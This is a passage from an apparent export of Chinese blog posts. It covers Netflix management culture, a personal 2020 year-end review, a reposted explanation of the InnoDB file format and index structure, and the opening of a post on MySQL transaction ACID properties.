网飞倡导我们是一个团队，不是一个家庭。\n“\n一种高绩效的企业文化，应该把公司看作一支职业运动队，而不是一个家庭。\n”\n很多公司让员工把公司当家，提倡员工关系要像家人一样，而网飞不是，他们认为一个团队要像一支运动队一样，而不是像一个家庭，家人之间有时不会那么坦诚，有问题会相互包容。这样对于公司这种利益至上的组织不合适。而运动队会尽可能地把每一个位置派上最合适的队员，有替补，有解约，有续约，有比赛，有胜利也有失败。为了胜利不断地竞争。\n作为管理者，如何衡量员工是否该走了？网飞给出的答案是问自己一个问题：\n“\n如果有人打算明天辞职，你会不会劝他改变主意？还是说你会接受他的辞呈，甚至感觉是松了一口气？\n”\n很简单吧，问完自己这个问题基本上你就知道他该不该走了。\n工资 “\n有利于激发创造力的，给足够高的工资，而非绩效奖金。\n”\n网飞是怎么给员工发工资的？他们会开出比其他公司更高的工资，是高于市场价的。你可能会说这点我们公司可学不了，我们又不是网飞，我们没那么多钱，哈哈。但如果你将差的员工的工资给好的员工，即能提高人才密度又能让好员工更加珍惜这份工作，好像也不错对吧。\n“\n如果你当前的预算没法给这些优秀员工开出市场最高价，那就算解雇一些没那么优秀的员工，也一定要把他们的工资提上去。这样，公司的人才密度才会更高。\n”\n加强沟通坦诚 其实从这一部分开始前面的每一步都是下一步的基础\n如果没有很高的人才密度，也不能实现坦诚的沟通。说白了，人不行，后面的就别扯了。\n“\n我们当时没有雇任何新人，也没有提高任何人的薪水，但日益增加的坦诚度却让公司的人才密度得到了提高。\n”\n如果沟通坦诚了，反过来也会提高人才密度。\n坦诚如何实施 你在组织中的地位越高，收到的反馈就越少，你就越有可能是 “赤裸着身体在工作”。就像皇帝的新装一样。所以鼓励坦诚沟通，把话说透。工作的事没必要藏着掖着。但什么都能坦诚地说吗？显然不能，显然不能进行坦诚的人身攻击，坦诚的隐私揭露。\n那么想在公司坦诚地沟通，应该怎么做，网飞给出了4A反馈原则\n提供反馈\n“\n1.目的在于帮助（Aimtoassist）：反馈的目的必须是积极的。反馈不是为了发泄，不是为了中伤他人，也不是为自己捞取资本。反馈者应清晰阐述这样做对他人和公司有什么样的好处，而不是对自己有什么好处。“你在与外部合作伙伴会面时在剔牙，这样做很让人生气。”这是错误的反馈方式。正确的反馈应该是这样：“如果在与外部合作伙伴见面时你不再剔牙，那么合作伙伴可能会觉得你很敬业，我们就更有可能建立牢固的关系。”\n”\n“\n2.反馈应具有可行性( Actionable)：你的反馈必须说明接收人可以做一些什么样的改变。我在古巴的那次演讲中，如果收到的是这样一个反馈：“你在演讲过程中的做法与你自己的观点不符。”那这样的反馈就是有问题的。而正确的反馈可以是这样的：“你选取听众发言的方式导致了最后的参与者只有美国人。”或者这样说更好：“如果你还有别的方法，让其他国籍的参会者也发一下言，那你的演讲将更有说服力。”\n”\n接收反馈\n“\n3.感激与赞赏( Appreciate)：我们在受到批评时都会为自己辩护或寻找借口，这是人类的本能；我们都会条件反射式地进行自我保护，维护自身的名誉。当你收到反馈时，你需要有意识地反抗这种本能，并且问一问自己：“我该如何去认真地聆听，以开放的心态去认真地对待反馈？既不辩护，也不生气，还应该满怀欣赏和感激。”\n”\n“\n4.接受或拒绝( Accept or discard)：在网飞，你会收到很多人的反馈。你需要认真地思考。不是每条反馈都要求你照办，但有必要向反馈者真诚地致谢。你和反馈者都必须清楚：对反馈意见的处理完全取决于反馈的接收者。\n”\n利用4A这个指导原则就可以进行坦诚的沟通了吗？\n在坦诚沟通前，人和人之间一般是放不开的，因为没有建立好“信任”。要迅速建立信任，最好的办法莫过于直接说出一个潜在的秘密。\n“\n一名领导有卓越的才能，又深受团队的爱戴，那么当他把自己的错误拿出来“见阳光”时，就更容易建立起信任并起到激励的作用，他的公司也会因此受益。而对于一名刚刚崭露头角或者没有取得信任的领导人来说，这项建议可能并不适用。在大声说出自己的错误之前，你得先让员工相信你的工作能力。\n”\n其实在企业中坦诚有另一个近义词就是透明，在阳光下做事，任何事都能拿到桌面上说，没有暗箱操作，没有桌子底下的交易，信息共享透明，基层员工也能知道公司的策略和发展方向，这样透明的环境，我想是很多员工向往的。\n取消管控 这一部分讲的是在高人才密度、坦诚沟通的文化背景下，网飞是如何一步步取消管控的，但我个人认为这部分中国的本土企业应该很难执行。基本不建议这样做。为什么？我们先看看网飞是怎么做的。\n“\n为员工安排适当的假期有利于公司的发展。休假能够让员工的身心得到放松，使他们能够进行创造性的思考，并且以崭新的姿态面对自己的工作。如果一直不停地工作，那么他只会在原地转圈，而无法从全新的角度去看待问题。\n”\n这没问题，所以网飞取消了请假制度，你可以随时按你想请的周期请假，不需要审批，只需要让你的同事和老板知道就好了。\n“\n只要你工作出色，没有人会在意你有没有休假。老板的行为对员工有很大的影响，甚至可以改变一种文化原有的习惯。\n”\n所以网飞让老板带头休假，没错，是不是知道为什么我说在中国本土不靠谱了？\n当然这在网飞是可行的，因为请假前要跟领导报备，要跟同事打招呼，如果你的请假影响到工作了，同事也会坦诚地说出来，如果你不够优秀，会被开除来提升人才密度的。\n甚至包括报销也不需要什么审核，网飞的办法是 “事前情景设定，事后核实报销”。虽然没有笔笔报销审核，但会有人抽查和监督，如果被查出来有问题一定会被开除。\n实话说，看到这部分时我就知道它在一般的公司很难执行，所以也不打算细说了，感兴趣的朋友可以读原文，还是挺有意思的，为什么难执行？因为至少要完成前两步：高人才密度，坦诚地沟通。想一下，有哪些企业可以真正做到？\n最后 “\n现实生活往往是牵一发而动全身的，任何规定都不可能一劳永逸。\n”\n任何公司、管理者千万不可完全照搬、套用网飞的经验，因为且不说你有没有能力做到这三步，就算有能力，也要结合公司自身情况和中国的文化背景。就连网飞自己在全球的分公司也会有文化冲突和适应的过程。我们是一个讲中庸、人情文化的国家，有些方法可能会水土不服。然而从网飞中经验中我得到的最重要的收获是对管理认知的加深和通透。即使做不到这三步，那我们是不是可以试着提高人才密度？可不可以提倡透明坦诚的沟通文化？我觉得这些倒是可以做到的。\n参考：《不拘一格：网飞的自由与责任工作法》\n关注公众号 获取更多精彩内容\n","date":"2021-01-21T08:10:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-01-21-ni-gong-zuo-de-mu-di-bu-shi-qu-yue-lao-ban-er-shi-dui-gong-s/cover.jpg","permalink":"/p/2021-01-21-ni-gong-zuo-de-mu-di-bu-shi-qu-yue-lao-ban-er-shi-dui-gong-s/","title":"你工作的目的不是取悦老板而是对公司有利"},{"content":"\n这一年过得真快，转眼还有 4 天 2020 年就过去了。\n这一年发生了好多事，有好的也有坏的。\n昨天看到网友的年度总结，十分感慨，想来今年我们都度过了十分特殊的一年，仅以此文，寥做总结，希望这是未来 10 年中最差的一年。\n健康 今年可以说是身体上出状况最多的一年，去年的湿疹刚好，夏天时突然骨折，骨折养到一半又突发肾结石。在吾妻悉心的照顾下，还好并无大碍。\n今年应该是我最胖的一年，很多人没见过我大学时清瘦的模样，我想也回不到从前了。上半年还挣扎过，跟体重较了几个月的劲，下半年就放弃了。无它，我认了，健康就好。\n感情 吾妻这两年由于各种事情的原因回归家庭，照顾我、照顾猫。其实距离我们婚礼举行也就一年多，婚礼的誓词还时常萦绕在耳边，但总感觉像老夫老妻一样，越来越默契了，也许是一起经历过太多的事情。在生活面前，共同经历多少真刀真枪的兵荒马乱，就有多少难舍难分的情深意重。\n工作 岁末年初的时候创业失败，疫情期间离京在家过着与世隔绝的日子，夏初入职履新，后被拖欠工资，再求职，又履新。\n新工作老板、同事、业务都算靠谱，从架构师做到技术总监，最近一个月没有一天 9点前下过班。我知道我没有什么天赋，所以勤奋是必备素质。\n财务 今年确实没攒什么钱，经济压力比较大，加上不顺的事情太多，有些抑郁。初秋的时候和吾妻谈过一次，感觉这一年没真正开心过，最近一两月好多了。然而也收获到了金钱买不到的东西，我们夫妻的感情更好了，我也更沉着和更有耐心了。今后希望通过努力，将来我和我的家人再不用被金钱所迫。\n输出 由于最近确实忙到飞起，公众号和专栏有一个月停更了。后续公司的事情走上正轨，会回归正常输出频率的。(文末有我今年的精选文章列表，欢迎大家查阅) 感谢很多圈内大佬的支持，感谢 APISIX、小林coding和耗子哥的关注。还有那些打赏、点赞的朋友们。\n出书的计划确实被搁置了，不过也是好事，我想再储备储备，有些东西还是要深入浅出，有了更多的实践，尽可能不误人子弟。\n技术 架构 今年换了两个架构，以 spring cloud 为主的 docker 集群，和 k8s on istio 架构。新公司的 k8s on istio 直到现在我仍然认为是激进的，后期会根据实际情况进行合理调整。\n基础 说来奇怪，做技术的时间越长，好奇心越重，从年初读完《上帝掷骰子吗？》开始，对很多东西产生了越发浓厚的兴趣。还记得我入行的前几年，曾一度自我怀疑，我到底适不适合干这行？很多东西真的很难，很枯燥。现在却觉得越来越有意思，也许我没什么天赋，但至少没有放弃。坚持可能才是最难的。\n未来 由于缺憾导致人有更强烈的欲望，面对未来我想做一个更加坚毅、果敢、勇往直前的人。\n最后 明明自己生活也过得不如人意却还是见不得这人间疾苦。2020 年就要过去了，我一点儿都不怀念它。\n2020年度精选文章：\n转载）从MySQL InnoDB 物理文件格式深入理解索引\n我对 MySQL 锁、事务、MVCC 的一些认识\n分布式事务：从理论到实践（三）\n分布式事务：从理论到实践（二）\n分布式事务：从理论到实践（一）\nAPI 网关选型及包含 BFF 的架构设计\n如何使用skywalking 进行全链路监控\nAPM 组件选型\n彻底搞懂AQS\n一次性搞定HashMap面试\n经典面试题之HashMap(二)\n经典面试题之HashMap(一)\n十大经典排序算法（四）\n十大经典排序算法（三）\n十大经典排序算法（二）\n十大经典排序算法（一）\n关注公众号 获取更多精彩内容\n","date":"2020-12-27T12:41:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-12-27-2020-xiao-he-zi-de-nian-du-zong-jie/cover.jpg","permalink":"/p/2020-12-27-2020-xiao-he-zi-de-nian-du-zong-jie/","title":"2020 小盒子的年度总结"},{"content":"（转载）从MySQL InnoDB 物理文件格式深入理解索引 声明： 本文转载自 neoremind.com\nInnoDB物理文件的基本结构 InnoDB的物理文件有很多种，包括：\n系统表空间（system tablespace）。文件以 ibdata1、ibdata2 等命名，包括元数据数据字典（表、列、索引等）、double write buffer、插入缓冲索引页（change buffer）、系统事务信息（sys_trx）、默认包含 undo 回滚段（rollback segment）。 用户表空间。innodb_file_per_table=true 时，一个表对应一个独立的文件，文件以 db_name/table_name.ibd 命名。行存储在这类文件。另外还有 5.7 之后引入 General Tablespace，可以将多个表放到同一个文件里面。 redo log。文件以 ib_logfile0、ib_logfile1 命名，滚动写入。主要满足ACID特性中的 Durablity 特性，保证数据的可靠性，同时把随机写变为内存写加文件顺序写，提高了MySQL的写吞吐。 另外还可能存在临时表空间文件、undo 独立表空间等。 MySQL一次IO的最小单位是页（page），也可以理解为一次原子操作都是以 page 为单位的，默认大小16k。刚刚列出的所有物理文件结构上都是以 Page 构成的，只是 page 内部的结构不同。\n每个page包括最前面的 38 个字节的 FilHeader，和结尾的 8 个字节的 FilTrailer 组成。\n文章中类似风格的图片引用自JCole的博客\n表空间的格式 除了 redo log 以外，刚刚提到的表空间，包括系统表空间、用户表空间、undo 独立表空间、临时表空间，他们的格式都是一样的，只是里面的 page 各有不同。本文主要介绍独立用户表空间的结构，进而深入解析索引。\n表空间（tablespace）有一个 32 位的 spaceid，用户表空间物理上是由 page 连续构成的，每个 page 的序号是一个 32 位的 uint，page 0 位于文件物理偏移量 0 处，page 1 位于 16384 偏移量处。由此推出 InnoDB 单表最大 2^32 * 16k = 64T。\n表的所有行数据都存在页类型为 INDEX 的索引页（page）上，为了管理表空间，还需要很多其他的辅助页，例如文件管理页 FSP_HDR/XDES、插入缓冲 IBUF_BITMAP 页、INODE 页等。\n2009年，INNOBASE 分享了关于 InnoDB 的物理结构，里面一张广为流传的图如下。segment 和 extent 是 InnoDB 内部用于分配管理页的逻辑结构，用于分配与回收页，对于写入数据的性能至关重要。\n但这张图有所局限性，可能会产生误解：\n图中是系统表空间，因此存在 rollback segment，独立表空间则没有。 leaf node segment 实际是 InnoDB 的 inode 概念，一个 segment 可能包含最多32个碎片 page、0 个extent（用于小表优化），或者是非常多的 extent，我猜测作者图中画了 4 个 extent 是在描述表超过 32MB 大小的时候一次申请 4 个 extent。 一个 extent 在默认 16k 的 page 大小下，由 64 个 page 组成，page 大小由 UNIV_PAGE_SIZE 定义，所以 extent 不一定由 64 个 page 组成。 如果你觉得这几点不明白，那么坚持往下读。\n文件管理页 文件管理页的页类型是 FSP_HDR 和 XDES（extent descriptor），用于分配、管理 extent 和 page。\n默认一个 extent（1MB大小）管理 64 个物理连续的 page（16k），extent 是 InnoDB 高效分配扩容 page 的机制。如果 page 更小（例如8k，4k），则仍然要保证 extent 最小 1M ，page 数就会相应变多；如果 page 变大（例如32k），则仍然是 64 个 page。\nFSP_HDR/XDES 页在表空间中的位置和内部结构如下。\nFSP_HDR 页都是 page 0，XDES 页一般出现在 page 16384, 32768 等固定的位置。一个 FSP_HDR 或者 XDES 页大小同样是 16K，容量限制所能管理的 extent 必定是有限的，一般情况下，每个 extent 都有一个占 40字节的 XDES entry 描述维护，因此 1个 FSP_HDR 页最多管理 256个 extent（也就是 256M，16384个 page）。那么随着表空间文件越来越大，就需要更多的 XDES 页。\nXDES entry 存储所管理的 extent 状态：\nFREE（空） FREE_FRAG（至少一个被占用） FULL_FRAG（满） 归某个 segment 管理的信息 XDES entry 还存储了每个 extent 内部 page 是否 free（有空间）信息（用 bitmap 表示）。XDES entry 组成了一个双向链表，同一种 extent 状态的首尾连在一起，便于管理。\nFSP_HDR 和 XDES 的唯一区别：FSP Header 只有在 page 0 FSP_HDR 中有值。\n而 FSP Header 里面最重要的信息就是四个链表头尾数据（ FLST_BASE_NODE 结构，FLST 意思是 first and last），FLST_BASE_NODE如下。\n当一个 Extent 中所有 page 都未被使用时，挂在 FSP_FREE list base node上，可以用于随后的分配； 有一部分 page 被写入的 extent，挂在 FREE_FRAG list base node 上； 全满的 extent，挂在 FULL_FRAG list base node 上； 归属于某个 segment 时候挂在 FSEG list base node上。 当 InnoDB 写入数据的时候，会从这些链表上分配或者回收 extent 和 page，这些 extent 也都是在这几个链表上移动的。\nINODE 页 一般而言，INODE 一定会出现在文件的 page 2 上，如果管理的索引过多，才会分配更多的 INODE 页。夹在 page 2 INODE 页和 page 0 FSP_HDR 中间，IBUF_BITMAP 页暂不展开。\nINODE页结构如下。\nsegment 是表空间管理的逻辑单位。INODE 页就是用于管理 segment 的，每个 Inode entry 负责一个segment。\n下面会讲到，MySQL 的数据是按照 B+ tree 聚簇索引（clustered index）组织数据的，每个 B+ tree 使用两个 segment 来管理 page，分别是 leaf node segment（叶子节点segment）和 non-leaf node segment（非叶子节点segment）。这两个 segment 的 Inode entry 地址记录在 B+ tree 的 root page 中 FSEG_HEADER 里面，而 root page 又被分配在 non-leaf segment 第一个碎片页上（fragment array）。\n一个 segment 由:\n32个碎片页（fragment array） FSEG_FREE FSEG_NOT_FULL FSEG_FULL 组成，这些信息记录在 Inode entry 里，可以简单理解为 Inode 就是 segment 元信息的载体。\nFREE、NOT_FULL、FULL 三个 FLST_BASE_NODE 对象和 FSP_HDR/XDES 页里面的 FSP_FREE、FREE_FRAG、FULL_FRAG、FSEG 概念类似。这些链表被 InnoDB 使用，用于高效的管理页分配和回收。\n至于碎片页上（fragment array），用于优化小表空间分配，先从全局的碎片分配 Page，当 fragment array 填满（32个槽位）时，之后每次分配一个完整的 Extent，如果表大于32MB，则一次分配 4个 extent。\n因此可以回答 INNOBASE 图里面的 segment 概念了，只不过 segment 可能包含0或者多个（非常多的）extent。\n把segment、extent、page概念串联起来 如下图所示。对照JCole博客的图可以更好的理解。\nINDEX 数据索引页 B+树聚簇索引 索引（index）用于快速定位数据，对于 InnoDB 来说，主键和非主键都是索引，一切数据都存储在 INDEX 索引页中，索引即数据，数据即索引。\n试想下，加速查询的方法很多，可以是：\n哈希索引（hash），点查性能很好，需要解决冲突，区间查询也不友好。MySQL 只有自适应的哈希索引，数据组织的索引不会采用哈希索引。 有序数组（sorted array），更新麻烦，只适用于静态存储引擎。 二叉查找树（binary search tree），查询复杂度是 O(logN)，为了保持这棵树是平衡二叉树，更新的时间复杂度也是 O(logN)。 下图展示了各个存储介质的访问时延，从内存 100ns，到 NVME SSD 16us，到机械磁盘 3-10ms，二叉查找树最大的问题就在于随机IO，所以在机械盘时代，解决的思路就是减少随机 IO，自然而然想到的就是增加树的高度。因此 InnoDB 采用 N 叉平衡树组织索引和数据。\nN叉数 减少树的高度和随机IO次数，例如当 N=1200，树的高度可以控制在4层，管理 1200^3=17亿行。一般根节点在内存，所以最多3次磁盘 IO。不仅减少了随机 IO 次数还保证了查询的稳定性，所以说这种数据结构是一种 scales nicely 的解决方案。\n新模型 一些新的存储数据结构采用LSM-tree、跳表skiplist等不在本文讨论范围内。\n既然多叉树可以满足查询性能，下面再来看索引和数据是否有必要放在一起呢？索引的组织形式可以是聚簇（clustered）和非聚簇（unclustered）的。\nclustered index 将数据按照索引的顺序存储。通常来讲，索引和数据在一起，找到了索引也就找到了数据（但不一定强求）。unclustered index 则将数据与索引分开结构，索引指向了具体的记录。索引相近的记录，在物理文件上相距可能很远。\n一张 MySQL 表只有一个聚簇索引，聚簇索引可以看做主键，如果建表没有指定主键默认采用第一个 NOT NULL UNIQUE INDEX 当主键，否则默认 6字节的 ROW ID 做主键。总之 InnoDB 必须有一个 primary key。聚簇索引通常就是 B+树（B+ tree）结构，如下图所示。\n使用B+树聚簇索引（B+ tree clustered index）的好处在于:\n数据和索引顺序一致，充分利用磁盘顺序 IO 性能普遍高于随机 IO 的特性。 对于局部性查询也会大有裨益。 采用 B+树，叶子节点（leaf node）存储数据，非叶子节点（non-leaf node）只是索引，这样非叶子节点就会足够的小，因此数据很“热”，便于更好的缓存。 对于覆盖索引，可以直接利用叶子节点的主键值。 二级索引，就可以理解为非聚簇索引，也是一颗 B+树，只不过这棵树的叶子节点是指向聚簇索引主键的，可以看做“行指针”，因此查询的时候需要 “回表”。\n另外一些数据库采用堆表（heap）的方式组织数据和索引。\n假设存在一张表，没有任何索引，B+树 有三层，按照自增主键插入，可以用 alibaba/innodb-java-reader 工具生成 innodb file LSN heatmap，即 page的热力图，按照 page 被更新的 LSN（Logical Sequence Number）由小到大，由蓝变红，如下图所示。\n可以看出 level2 的 root page 总是红色的，因为插入会频繁访问 root page，叶子节点由蓝变红，符合自增主键顺序写入的特性，这也间接证明了自增主键的优势，充分利用利用顺序IO，避免 B+树 频繁分裂合并。灰色圈出来的两个 page 是 level=1 的非叶子节点，有两个，右侧节点从左侧分裂而来，因此持续一直“热”到写入结束。\n把这个物理文件的变为逻辑的B+树结构，如下图所示。\n索引页结构 索引页包含的信息如下：\n主键、二级索引、行和列 B+树的每个节点都是一个INDEX索引页，其结构都是相同的。 对于聚簇索引，非叶子节点包含主键和 child page number，叶子节点包含主键和具体的行； 对于非聚簇索引，也就是二级索引，非叶子节点包含二级索引和 child page number，叶子节点包含二级索引和主键值。 行是由列组成的，各种列类型（column types）经过 encoding 编码后才组成了一行。\n高效检索的数据结构 B+树结构可以用于快速做 point-query 和 range-query，索引页中必定包含高效检索的数据结构，实际使用的就是 sorted array 和 singly-linked-list，页内支持二分查找。同一层的页之间是 double-linked-list 双向链接的。\n支持OLTP数据库特性相关信息 InnoDB 在读写方面，支持事务、行锁、MVCC 非锁定一致性读，ACID 特性，crash recovery 特性等，在索引页里同样包含一些属性支持这些特性。\n索引页物理结构如下图所示。\nIndex header包含了页的一些元数据。\nNum of directory slots：page directory slots 个数，用于二分查找检索初始化 sorted array size使用。 Heap top position：页把插入的数据看做数组，用于记录已使用空间的末尾，从这个位置到 page directory都是 free space。 Num of heap records \u0026amp; page format：低15位表示 Num of heap records，最高的一位表示类型，也就是 record format，包括 COMPACT、REDUNDANT 等，下文会提到。 First garbage record offset、Garbage space：表示删除数据 singly-linked-list 的起始 record和空间占用。 Last insertion position：最后插入数据的位置，用户快速顺序写入。 Page direction：插入方向，插入的数据与 Last insertion position 比的相对方位，包括 LEFT、RIGHT、NO_DIRECTION 等。 Num of inserts in page direction：同一方向连续插入的记录数。 Num of records：未删除的记录数，剔除掉 infimum 和supremum 记录。 Max trx. id：最大事务id，用于支持 MVCC。 Page level：B+树层数，叶子节点为0，非叶子节点递增。 Index id：索引id。 FSEG header 包含了指向叶子节点和非叶子节点的 Inode entry 的数据：Inode spaceid、Inode page no.、Inode offset。\ninfimum 和 supremum 是 system records，用于起始记录和结束记录，对用户不可见，把真正的 record 按照升序串起来成为单链表。这两个 record 和普通的 record 结构一样，都包含 record header 和 body，只不过它们的 body 分别是 “infimum\\0” 和 “supremum” 字符串，不像真正的 record 由主键、所有列的值等组成。\n例如图中的物理视图，表示按自增主键顺序插入的16条记录，它们的长度可能不一样，比如包含了 varchar 类型的列。把他们转化为逻辑视图，他们是一个有序单链表（sorted singly linked list），头尾就是 infimum 和 supremum 记录，串起来的指针在 record header 里面，record header 有2字节的 next record offset 指向下一条记录的相对物理偏移量。\n通过这个有序单链表 InnoDB 就有能力在某个页中做检索查询，给定一个 key，从 infimum 顺序查找，直到到 supremum 结束，时间复杂度 O(N)。\n那么有没有什么加速的办法呢？答案是利用 page directory。\npage directory 从 Fil Trailer 开始从后往前写，里面包含槽位 slots，每个 slot 2个字节，存储了某些 record 在该页中的物理偏移量，例如图中最后面是 infimum record 的 offset，最前面是 supremum record 的 offset，中间从后往前是 r4，r8，r12 record 的 offset，一般总是每隔4-8个 record 添加一个 slot，这样 slots 就等同于一个稀疏索引（sparse index），加速页内查询的办法就是通过二分查找，查询 key 的时间复杂度可以降为 O(logN)，由于页都在内存里面，所以查询性能可控，内存访问延迟100ns左右，如果在 CPU 缓存中则可能更快。\n在 heap top position 和 page directory 中间的都是 free space，用于 record 和 slot 从两端填充进去，对于删除的记录只是标记删除，实际空间回收再利用会延后进行。\n索引页案例 把宏观的B+树和微观的页结构以一个案例说明下。\n假设有如下的几条数据，\nid,VALUE 100,a 199,b 200,c 299,d 300,e 400,f 500,g 550,h 600,i 650,j ... 一颗 B+树 聚簇索引如下图所示，3层的 B+树，非叶子节点的 record 由主键和 child page number 组成，主键是 child page number 中最小的主键值；叶子节点的 record 由主键和行组成。\n微观上把每个页节点内部展开成由 infimum 和 supermum 连接起来的有序单链表，结构如下。每层的页通过 Fil Header相互连接。\n这个案例图实际上想呼应丁奇老师《MySQL实战45讲》里的第五讲索引里面的图。\n这张图是一张局部图，非叶子节点每个记录后面的小窄条，都可以看做是 node pointer，指向 child page number。绝大部分资料实际都应该画了 B+树 上的一部分，图中 300 后面的指针实际是 300 这个记录的 node pointer，其叶子节点的元素都不小于 300 这个值。而前面实际还应该画出一个小于等于 100 的值，它的 node pointer 才指向 100 的那个叶子节点。\nRow Format 下面介绍具体每一行的结构。\nInnoDB有如下4种row format，下图来自MySQL官方文档。\nrow format 可通过 innodb_default_row_format 参数指定，也可以在建表的时候指定。\nCREATE TABLE tab ( id INT, str VARCHAR(50) ) ENGINE=InnoDB ROW_FORMAT=DYNAMIC; REDUNDANT 是比较老的格式，流行的版本中 5.6 默认是 COMPACT，COMPACT 比 REDUNDANT 要更节省空间，大概在 20% 左右。5.7 版本 DYNAMIC 是默认格式，DYNAMIC 在变长存储上做了更大的空间优化，对于 VARBINARY, VARCHAR, BLOB 和 TEXT 类型更友好，下面会更详细展开。COMPRESSED 是压缩页。\n下面的介绍都是基于 COMPACT 及其之后格式的。\nrow 的格式在上面图中简单介绍过，由 可选的两个标识+record header+body 组成，具体如下。\nNullable field bitmap：可选标识，表明哪些列是 NULL，如果没有 nullable 字段，就不存在。很多文章都没说清楚这部分，画个图就明白了，一个字节能表示8个nullable字段，超过8个字段就扩充到低字节。如下图所示，18个字段，9个可为空，如果其中某3个实际为空，则两个字节存储如图。 Variable field lengths：可选标识，变长字段长度，如果没有变长字段，就不存在。每个变长字段都用 1-2个字节表示长度，根据列定义顺序逆序存放，其算法很多书里都提过，但是都有些省略，具体解析过程可以参考 rem0rec.cc。如果小于等于127，则1个字节；大于127，低字节下一位的表示是否有 overflow pag e存储，剩余6位和高字节的8位，按照大尾端 encoding 组成变长长度。\nrecord header：固定5个字节长度。\nInfo Flags：1个字节。低4位表示是否 min_rec 或者 deleted。高4位表示 num of records owned，与上面提到的 page directory 呼应，如果被 page directory slot 指向，则有值。\n2个大尾端字节：低三位表示类型，包括\n普通记录 REC_STATUS_ORDINARY=0\n非叶子节点记录 REC_STATUS_NODE_PTR=1\n起始虚拟记录 REC_STATUS_INFIMUM=2\n终点虚拟记录 REC_STATUS_SUPREMUM=3\n高5位表示heap no，即顺序位置。\n2字节 next record offset：直接定位到下一个record的数据部分，也就是主键偏移量，而不是record header。\n可以看出如果表结构没有变长字段，没有 nullable 字段，则不会存在冗余信息。5个字节长度的 record header 是必须有的，上面提到的 infimum 和 supremum 也是一种特殊的 row，只不多对用户不可见。\n索引：序列化后存储于此，例如 int 类型索引主键就占用4个字节。 对于聚簇索引的叶子节点，存储行。\n对于二级索引的叶子节点，存储行的主键值。\n对于聚簇索引和二级索引的非叶子节点，存储 child page 最小的 key。\n上面提到的 infimum 和 supremum 中就只存字符串在行数据里。\n6字节事务ID 和 7字节回滚指针：\n这两个值用来支持 MVCC 机制，事务ID是实现事务隔离级别的基础，而通过回滚指针指向 undo log，可实现非锁定一致性读。\n非主键列的数据：\n对于聚簇索引的叶子节点，是按照表结构定义排列的 columns，每种 column 类型都有自己的 encoding 方法。\n对于二级索引的叶子节点，是行的主键值。\n对于聚簇索引和二级索引的非叶子节点，是 child page number。\n每一列的解析在 DataTypeHandler.cc 源码里可以找到，有 encoding 和 decoding 的方法。比如 int 比较简单4个字节，对于 varchar、text 需要按照列或者表的 charset encoding 出来，对于 varbinary、blob 就是裸的二进制数据，对于 datatime 等时间相关的有相应的机制去做序列化。\n对于变长字段，MySQL 有一套规则可以存储在 overflow page 中，这个 page 是 BLOB 类型，也就是不在行所在的 page 中存储，这样可以优化空间，在索引页中存储最有价值的行信息，而不是在 B+ tree 中节点充斥着很大的列，进一步提高索引的存储效率；另外还支持了存储大于一页 16k 大小的数据。\n一般情况下，对于变长字段，如果大于768字节，则启用 off-page 策略，索引页存储前768字节，然后外加20字节 pointer 信息包含 space id，overflow page number，offset 和存放在 overflow page 的字节数。对于 DYNAMIC 则做的更加极致，即可以做 fully off-page，只存20字节的 pointer 信息，也可以对于小数据 \u0026lt;=40 bytes 做 inline，不 off-page。overflow page 是一个单链表，每个 BLOB page 都存储了一部分数据。在 MySQL 8.0 之后对于这个结构又做了进一步优化，可以随机访问大列的一部分，为此引入了 LOB 类型，感兴趣可以参考链接。\n总结 深入理解 MySQL InnoDB 表空间物理文件格式，对于更好的认识索引，有很大帮助。本文从独立表空间入手，展开介绍了 extent、segment、inode 等页管理和分配的概念，用实际的案例阐述了 InnoDB B+树中每个节点的索引页结构，如何做点查和范围查询，索引页的内部结构，以及每个行的组成，查阅了不少资料以及 MySQL 源代码，alibaba/innodb-java-reader 这个开源项目，可以帮助读者更好的理解。\n关注公众号 获取更多精彩内容\n","date":"2020-11-20T03:24:16Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-11-20-zhuan-zai-cong-mysql-innodb-wu-li-wen-jian-ge-shi-shen-ru-li/cover.jpg","permalink":"/p/2020-11-20-zhuan-zai-cong-mysql-innodb-wu-li-wen-jian-ge-shi-shen-ru-li/","title":"转载）从MySQL InnoDB 物理文件格式深入理解索引"},{"content":"\n单条SQL语句执行时，会被当成一个事务提交吗？ 以下内容摘自 《高性能MySQL》(第3版)\n“\nMySQL默认采用自动提交（AUTOCOMMIT）模式。也就是说，如果不是显式地开始一个事务，则每个查询都被当作一个事务执行提交操作。在当前连接中，可以通过设置AUTOCOMMIT变量来启用或者禁用自动提交模式\n”\nMySQL 是如何实现事务的 ACID 的？ 事务具有 ACID 四大特性，那么 MySQL 是如何实现事务的这四个属性的呢？\n原子性 要么全部成功，要么全部失败。MySQL是通过记录 undo_log 的方式来实现的原子性。undo_log 即回滚日志，在真正的SQL执行之前先将 undo_log 写入磁盘，然后再对数据库的数据进行操作。如果发生异常或回滚，就可以依据 undo_log 进行反向操作，恢复数据在事务执行之前的样子。\n持久性 事务一旦被正常提交，它对数据库的影响就应该是永久的。此时即使系统崩溃，修改的数据也不会丢失。InnoDB 作为 MySQ L的存储引擎，数据是存放在磁盘中的，但如果每次读写数据都需要磁盘IO，效率会很低。为此，InnoDB 提供了缓存(Buffer Pool)，作为访问数据库的缓冲：当从数据库读取数据时，会首先从 Buffer Pool 中读取，如果 Buffer Pool 中没有，则从磁盘读取后放入 Buffer Pool ；当向数据库写入数据时，会首先写入 Buffer Pool，Buffer Pool 中修改的数据会定期刷新到磁盘中。\n这样的设计也带来了相应的问题：如果数据提交了，这时数据还在缓冲池里（还没刷盘），此时MySQL宕机、断电了怎么办？数据会不会丢失？\n答案是不会，MySQL 通过 redo_log 的机制，保证了持久性。redo_log 即重做日志，简单说就是当数据修改时，除了修改 Buffer Pool 中的数据，还会在 redo_log 记录这次操作；当事务提交时，会调用 fsync 接口对 redo_log 进行刷盘。如果MySQL宕机，重启时可以读取 redo_log 中的数据，对数据库进行恢复。\n隔离性\n隔离性是 ACID 里面最复杂的一个，这里面涉及到隔离级别的概念，一共有四个\n简单说隔离级别就是规定了：一个事务中数据的修改，哪些事务之间可见，哪些不可见。而隔离性就是要管理多个并发读写请求的访问顺序。\nMySQL 对于隔离性的具体实现我们后面会展开说。\nRead uncommitted\nRead committed\nRepeatable read\nSerializable\n一致性\n通过回滚、恢复和在并发环境下的隔离做到一致性。\n事务并发可能导致的问题 通过上个问题我知道单条 DDL 